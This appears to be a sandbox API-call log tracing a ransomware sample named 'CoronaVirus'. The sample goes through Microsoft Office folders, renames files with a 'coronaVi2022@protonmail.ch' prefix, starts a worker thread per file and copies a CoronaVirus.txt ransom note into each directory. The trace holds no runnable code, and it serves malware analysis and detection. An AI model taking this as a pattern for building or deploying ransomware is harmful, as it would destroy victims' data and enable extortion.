	[0090.031] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 133
	[0090.031] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.031] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0090.031] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0090.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0
	[0090.032] SetThreadPriority (hThread=0x8a0, nPriority=15) returned 1
	[0090.035] malloc (_Size=0x1000) returned 0x51f0070
	[0090.035] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 133
	[0090.035] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.035] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0090.035] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0090.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac
	[0090.036] SetThreadPriority (hThread=0x8ac, nPriority=15) returned 1
	[0090.043] malloc (_Size=0x1000) returned 0x51f5098
	[0090.043] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 133
	[0090.043] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.043] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0090.043] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0090.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8
	[0090.044] SetThreadPriority (hThread=0x8b8, nPriority=15) returned 1
	[0090.048] malloc (_Size=0x1000) returned 0x51f4090
	[0090.048] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 133
	[0090.048] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.048] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0090.048] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0090.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4
	[0090.049] SetThreadPriority (hThread=0x8c4, nPriority=15) returned 1
	[0090.053] malloc (_Size=0x1000) returned 0x51f80b0
	[0090.053] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifestLoc.en-us.xml") returned 105
	[0090.053] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifestLoc.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.053] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifestLoc.en-us.xml", _SubStr="wasse") returned 0x0
	[0090.053] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifestLoc.en-us.xml", _SubStr="passw") returned 0x0
	[0090.053] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f80b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0
	[0090.053] SetThreadPriority (hThread=0x8d0, nPriority=15) returned 1
	[0090.056] malloc (_Size=0x1000) returned 0x51f1078
	[0090.056] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AuthoredExtensions.xml") returned 102
	[0090.056] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AuthoredExtensions.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.056] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AuthoredExtensions.xml", _SubStr="wasse") returned 0x0
	[0090.056] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AuthoredExtensions.xml", _SubStr="passw") returned 0x0
	[0090.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc
	[0090.057] SetThreadPriority (hThread=0x8dc, nPriority=15) returned 1
	[0090.060] malloc (_Size=0x1000) returned 0x51f90b8
	[0090.060] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 162
	[0090.060] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.060] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0090.060] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0090.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f90b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4
	[0090.061] SetThreadPriority (hThread=0x8e4, nPriority=15) returned 1
	[0090.063] malloc (_Size=0x1000) returned 0x51f2080
	[0090.063] _swprintf (in: param_1=0x51f2080, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 162
	[0090.063] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.063] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0090.063] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0090.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f2080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f0
	[0090.064] SetThreadPriority (hThread=0x8f0, nPriority=15) returned 1
	[0090.067] malloc (_Size=0x1000) returned 0x51fc0d0
	[0090.067] _swprintf (in: param_1=0x51fc0d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 162
	[0090.067] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.067] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0090.067] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0090.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51fc0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8fc
	[0090.067] SetThreadPriority (hThread=0x8fc, nPriority=15) returned 1
	[0090.070] malloc (_Size=0x1000) returned 0x52010f8
	[0090.070] _swprintf (in: param_1=0x52010f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 162
	[0090.070] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.070] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0090.070] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0090.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x52010f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908
	[0090.070] SetThreadPriority (hThread=0x908, nPriority=15) returned 1
	[0090.074] malloc (_Size=0x1000) returned 0x51fd0d8
	[0090.074] _swprintf (in: param_1=0x51fd0d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 162
	[0090.074] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.074] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0090.074] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0090.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51fd0d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x914
	[0090.075] SetThreadPriority (hThread=0x914, nPriority=15) returned 1
	[0090.078] malloc (_Size=0x1000) returned 0x52000f0
	[0090.078] _swprintf (in: param_1=0x52000f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 162
	[0090.078] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.078] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0090.078] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0090.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x52000f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920
	[0090.078] SetThreadPriority (hThread=0x920, nPriority=15) returned 1
	[0090.081] malloc (_Size=0x1000) returned 0x51fa0c0
	[0090.081] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 162
	[0090.081] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.081] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0090.081] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0090.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51fa0c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x92c
	[0090.082] SetThreadPriority (hThread=0x92c, nPriority=15) returned 1
	[0090.087] malloc (_Size=0x1000) returned 0x51fe0e0
	[0090.087] _swprintf (in: param_1=0x51fe0e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 162
	[0090.087] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.087] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0090.087] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0090.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51fe0e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x938
	[0090.088] SetThreadPriority (hThread=0x938, nPriority=15) returned 1
	[0090.090] malloc (_Size=0x1000) returned 0x5202100
	[0090.090] _swprintf (in: param_1=0x5202100, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 162
	[0090.090] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.090] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0090.090] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0090.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x5202100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x944
	[0090.091] SetThreadPriority (hThread=0x944, nPriority=15) returned 1
	[0090.094] malloc (_Size=0x1000) returned 0x51fb0c8
	[0090.094] _swprintf (in: param_1=0x51fb0c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 162
	[0090.094] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.094] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0090.094] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0090.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51fb0c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950
	[0090.095] SetThreadPriority (hThread=0x950, nPriority=15) returned 1
	[0090.098] malloc (_Size=0x1000) returned 0x5203108
	[0090.098] _swprintf (in: param_1=0x5203108, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\CoronaVirus.txt") returned 66
	[0090.098] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0090.098] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\root\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0090.101] _alloca_probe () returned 0x4036d0
	[0090.101] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\root\\client\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0090.104] _alloca_probe () returned 0x4036d0
	[0091.449] malloc (_Size=0x1000) returned 0x51f70a8
	[0091.449] _swprintf (in: param_1=0x51f70a8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\client\\CoronaVirus.txt") returned 61
	[0091.450] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\client\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0091.450] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0091.458] _alloca_probe () returned 0x4036d0
	[0091.459] malloc (_Size=0x1000) returned 0x51f2080
	[0091.459] _swprintf (in: param_1=0x51f2080, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\CoronaVirus.txt") returned 62
	[0091.459] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0091.459] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0091.477] _alloca_probe () returned 0x4036d0
	[0091.489] malloc (_Size=0x1000) returned 0x51f4090
	[0091.489] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.gif") returned 68
	[0091.489] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.489] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.gif", _SubStr="wasse") returned 0x0
	[0091.489] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.gif", _SubStr="passw") returned 0x0
	[0091.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e0
	[0091.490] SetThreadPriority (hThread=0x8e0, nPriority=15) returned 1
	[0091.494] malloc (_Size=0x1000) returned 0x51f1078
	[0091.494] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.gif") returned 68
	[0091.494] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.494] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.gif", _SubStr="wasse") returned 0x0
	[0091.494] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.gif", _SubStr="passw") returned 0x0
	[0091.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc
	[0091.495] SetThreadPriority (hThread=0x7cc, nPriority=15) returned 1
	[0091.507] malloc (_Size=0x1000) returned 0x51f3088
	[0091.507] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.gif") returned 68
	[0091.507] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.507] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.gif", _SubStr="wasse") returned 0x0
	[0091.507] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.gif", _SubStr="passw") returned 0x0
	[0091.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c
	[0091.508] SetThreadPriority (hThread=0x75c, nPriority=15) returned 1
	[0091.509] malloc (_Size=0x1000) returned 0x51f5098
	[0091.509] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.gif") returned 68
	[0091.509] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.509] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.gif", _SubStr="wasse") returned 0x0
	[0091.509] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.gif", _SubStr="passw") returned 0x0
	[0091.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c
	[0091.510] SetThreadPriority (hThread=0x85c, nPriority=15) returned 1
	[0091.511] malloc (_Size=0x1000) returned 0x51f60a0
	[0091.511] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.gif") returned 68
	[0091.511] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.gif", _SubStr="CoronaVirus") returned 0x0
	[0091.511] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.gif", _SubStr="wasse") returned 0x0
	[0091.511] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.gif", _SubStr="passw") returned 0x0
	[0091.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844
	[0091.512] SetThreadPriority (hThread=0x844, nPriority=15) returned 1
	[0091.513] malloc (_Size=0x1000) returned 0x51f0070
	[0091.513] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.gif") returned 68
	[0091.513] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.gif", _SubStr="CoronaVirus") returned 0x0
